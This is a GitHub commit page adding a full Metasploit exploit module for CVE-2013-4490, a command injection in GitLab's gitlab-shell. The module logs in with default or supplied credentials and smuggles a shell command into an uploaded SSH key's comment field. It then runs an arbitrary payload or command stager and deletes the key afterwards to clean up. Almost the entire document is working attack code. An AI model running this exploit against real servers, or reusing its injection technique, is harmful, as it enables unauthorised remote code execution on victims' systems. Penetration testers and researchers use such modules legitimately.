Skip to content

Commit 4cfd2ab

Browse files
jvazquez-r7jvazquez-r7
committed
Land rapid7#3621, @kaospunk's exploit for gitlab-shell CVE-2013-4490 command injection
2 parents 1183c5c + 4e0f6df commit 4cfd2ab

File tree

1 file changed

+238
-0
lines changed

1 file changed

+238
-0
lines changed

‎modules/exploits/multi/http/gitlab_shell_exec.rb

Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/ssh'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::CmdStager
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Gitlab-shell Code Execution',
18+
'Description' => %q(
19+
This module takes advantage of the addition of authorized
20+
ssh keys in the gitlab-shell functionality of Gitlab. Versions
21+
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
22+
in a system call resulting in a command injection vulnerability. As
23+
this relies on adding an ssh key to an account valid credentials
24+
are required to exploit this vulnerability.
25+
),
26+
'Author' =>
27+
[
28+
'Brandon Knight'
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
34+
['CVE', '2013-4490']
35+
],
36+
'Platform' => 'linux',
37+
'Targets' =>
38+
[
39+
[ 'Linux',
40+
{
41+
'Platform' => 'linux',
42+
'Arch' => ARCH_X86
43+
}
44+
],
45+
[ 'Linux (x64)',
46+
{
47+
'Platform' => 'linux',
48+
'Arch' => ARCH_X86_64
49+
}
50+
],
51+
[ 'Unix (CMD)',
52+
{
53+
'Platform' => 'unix',
54+
'Arch' => ARCH_CMD,
55+
'Payload' =>
56+
{
57+
'Compat' =>
58+
{
59+
'RequiredCmd' => 'openssl perl python'
60+
},
61+
'BadChars' => "\x22"
62+
}
63+
}
64+
],
65+
[ 'Python',
66+
{
67+
'Platform' => 'python',
68+
'Arch' => ARCH_PYTHON,
69+
'Payload' =>
70+
{
71+
'BadChars' => "\x22"
72+
}
73+
}
74+
]
75+
],
76+
'CmdStagerFlavor' => %w( bourne printf ),
77+
'DisclosureDate' => 'Nov 4 2013',
78+
'DefaultTarget' => 0))
79+
80+
register_options(
81+
[
82+
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
83+
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
84+
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
85+
], self.class)
86+
end
87+
88+
def exploit
89+
login
90+
case target['Platform']
91+
when 'unix'
92+
execute_command(payload.encoded)
93+
when 'python'
94+
execute_command("python -c \\\"#{payload.encoded}\\\"")
95+
when 'linux'
96+
execute_cmdstager(temp: './', linemax: 2800)
97+
end
98+
end
99+
100+
def execute_command(cmd, _opts = {})
101+
key_id = add_key(cmd)
102+
delete_key(key_id)
103+
end
104+
105+
def check
106+
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
107+
if res && res.body && res.body.include?('GitLab')
108+
return Exploit::CheckCode::Detected
109+
else
110+
return Exploit::CheckCode::Unknown
111+
end
112+
end
113+
114+
def login
115+
username = datastore['USERNAME']
116+
password = datastore['PASSWORD']
117+
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
118+
119+
# Get a valid session cookie and authenticity_token for the next step
120+
res = send_request_cgi(
121+
'method' => 'GET',
122+
'cookie' => 'request_method=GET',
123+
'uri' => signin_page
124+
)
125+
126+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
127+
128+
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
129+
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
130+
131+
if res.body.include? 'user[email]'
132+
@gitlab_version = 5
133+
user_field = 'user[email]'
134+
else
135+
@gitlab_version = 7
136+
user_field = 'user[login]'
137+
end
138+
139+
# Perform the actual login and get the newly assigned session cookie
140+
res = send_request_cgi(
141+
'method' => 'POST',
142+
'cookie' => local_session_cookie,
143+
'uri' => signin_page,
144+
'vars_post' =>
145+
{
146+
'utf8' => "\xE2\x9C\x93",
147+
'authenticity_token' => auth_token,
148+
"#{user_field}" => username,
149+
'user[password]' => password,
150+
'user[remember_me]' => 0
151+
}
152+
)
153+
154+
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
155+
156+
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
157+
158+
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
159+
end
160+
161+
def add_key(cmd)
162+
if @gitlab_version == 5
163+
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
164+
else
165+
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
166+
end
167+
168+
# Perform an initial request to get an authenticity_token so the actual
169+
# key addition can be done successfully.
170+
res = send_request_cgi(
171+
'method' => 'GET',
172+
'cookie' => "request_method=GET; #{@session_cookie}",
173+
'uri' => normalize_uri(@key_base, 'new')
174+
)
175+
176+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
177+
178+
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
179+
title = rand_text_alphanumeric(16)
180+
key_info = rand_text_alphanumeric(6)
181+
182+
# Generate a random ssh key
183+
key = OpenSSL::PKey::RSA.new 2048
184+
type = key.ssh_type
185+
data = [key.to_blob].pack('m0')
186+
187+
openssh_format = "#{type} #{data}"
188+
189+
# Place the payload in to the key information to perform the command injection
190+
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
191+
192+
res = send_request_cgi(
193+
'method' => 'POST',
194+
'cookie' => "request_method=GET; #{@session_cookie}",
195+
'uri' => @key_base,
196+
'vars_post' =>
197+
{
198+
'utf8' => "\xE2\x9C\x93",
199+
'authenticity_token' => auth_token,
200+
'key[title]' => title,
201+
'key[key]' => key
202+
}
203+
)
204+
205+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
206+
207+
# Get the newly added key id so it can be used for cleanup
208+
key_id = res.headers['Location'].split('/')[-1]
209+
210+
key_id
211+
end
212+
213+
def delete_key(key_id)
214+
res = send_request_cgi(
215+
'method' => 'GET',
216+
'cookie' => "request_method=GET; #{@session_cookie}",
217+
'uri' => @key_base
218+
)
219+
220+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
221+
222+
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
223+
224+
# Remove the key which was added to clean up after ourselves
225+
res = send_request_cgi(
226+
'method' => 'POST',
227+
'cookie' => "#{@session_cookie}",
228+
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
229+
'vars_post' =>
230+
{
231+
'_method' => 'delete',
232+
'authenticity_token' => auth_token
233+
}
234+
)
235+
236+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
237+
end
238+
end

0 commit comments

Comments
 (0)